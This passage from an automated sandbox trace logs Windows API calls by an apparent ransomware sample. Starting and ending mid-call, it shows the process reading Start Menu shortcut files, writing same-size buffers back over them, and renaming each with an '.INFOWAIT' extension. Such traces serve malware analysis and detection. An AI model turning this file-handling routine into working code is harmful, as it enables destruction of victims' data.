lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0134.404] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x518 [0134.404] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.404] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.404] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x518, lpOverlapped=0x0) returned 1 [0134.525] VirtualAlloc (lpAddress=0x0, dwSize=0x518, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.526] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.526] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x518, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x518, lpOverlapped=0x0) returned 1 [0134.526] CloseHandle (hObject=0xad4) returned 1 [0134.526] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk" [0134.526] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk.INFOWAIT" [0134.526] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance\\backup and restore center.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance\\backup and restore center.lnk.infowait")) returned 1 [0134.527] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.528] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.528] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.528] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance\\create recovery disc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0134.529] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4e0 [0134.529] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.529] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.529] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4e0, lpOverlapped=0x0) returned 1 [0134.629] VirtualAlloc (lpAddress=0x0, dwSize=0x4e0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.629] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.629] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4e0, lpOverlapped=0x0) returned 1 [0134.630] CloseHandle (hObject=0xad4) returned 1 [0134.630] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk" [0134.630] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk.INFOWAIT" [0134.630] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance\\create recovery disc.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance\\create recovery disc.lnk.infowait")) returned 1 [0134.630] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.631] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.631] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.631] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0134.631] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x25e [0134.631] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.632] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.632] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25e, lpOverlapped=0x0) returned 1 [0134.633] VirtualAlloc (lpAddress=0x0, dwSize=0x25e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.633] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.633] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x25e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x25e, lpOverlapped=0x0) returned 1 [0134.634] CloseHandle (hObject=0xad4) returned 1 [0134.634] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" [0134.634] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.INFOWAIT" [0134.634] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini.infowait")) returned 1 [0134.634] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.635] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.635] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.635] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance\\remote assistance.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0134.635] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4bc [0134.635] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.636] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.636] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4bc, lpOverlapped=0x0) returned 1 [0134.719] VirtualAlloc (lpAddress=0x0, dwSize=0x4bc, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.719] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.719] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4bc, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4bc, lpOverlapped=0x0) returned 1 [0134.719] CloseHandle (hObject=0xad4) returned 1 [0134.719] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk" [0134.719] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk.INFOWAIT" [0134.719] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance\\remote assistance.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance\\remote assistance.lnk.infowait")) returned 1 [0134.720] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.721] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.721] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.721] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\media center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0134.722] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x541 [0134.722] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.722] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.722] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x541, lpOverlapped=0x0) returned 1 [0134.777] VirtualAlloc (lpAddress=0x0, dwSize=0x541, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.777] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.777] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x541, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x541, lpOverlapped=0x0) returned 1 [0134.777] CloseHandle (hObject=0xad4) returned 1 [0134.777] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk" [0134.777] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk.INFOWAIT" [0134.777] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\media center.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\media center.lnk.infowait")) returned 1 [0134.778] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.779] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.779] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.779] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft access 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0134.780] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb67 [0134.780] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.780] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.780] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb67, lpOverlapped=0x0) returned 1 [0134.875] VirtualAlloc (lpAddress=0x0, dwSize=0xb67, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.875] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.875] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb67, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb67, lpOverlapped=0x0) returned 1 [0134.875] CloseHandle (hObject=0xad4) returned 1 [0134.875] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk" [0134.875] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk.INFOWAIT" [0134.875] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft access 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft access 2010.lnk.infowait")) returned 1 [0134.876] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.877] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.877] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.877] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0134.877] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb87 [0134.877] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.878] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.878] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb87, lpOverlapped=0x0) returned 1 [0134.931] VirtualAlloc (lpAddress=0x0, dwSize=0xb87, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.932] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.932] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb87, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb87, lpOverlapped=0x0) returned 1 [0134.932] CloseHandle (hObject=0xad4) returned 1 [0134.932] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk" [0134.932] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk.INFOWAIT" [0134.932] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk.infowait")) returned 1 [0134.933] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.934] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.934] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.934] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath designer 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0134.935] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbe2 [0134.935] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.935] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.935] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbe2, lpOverlapped=0x0) returned 1 [0135.245] VirtualAlloc (lpAddress=0x0, dwSize=0xbe2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0135.246] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.246] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbe2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbe2, lpOverlapped=0x0) returned 1 [0135.246] CloseHandle (hObject=0xad4) returned 1 [0135.246] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk" [0135.246] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk.INFOWAIT" [0135.246] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath designer 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath designer 2010.lnk.infowait")) returned 1 [0135.247] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.247] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.248] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0135.248] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath filler 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) 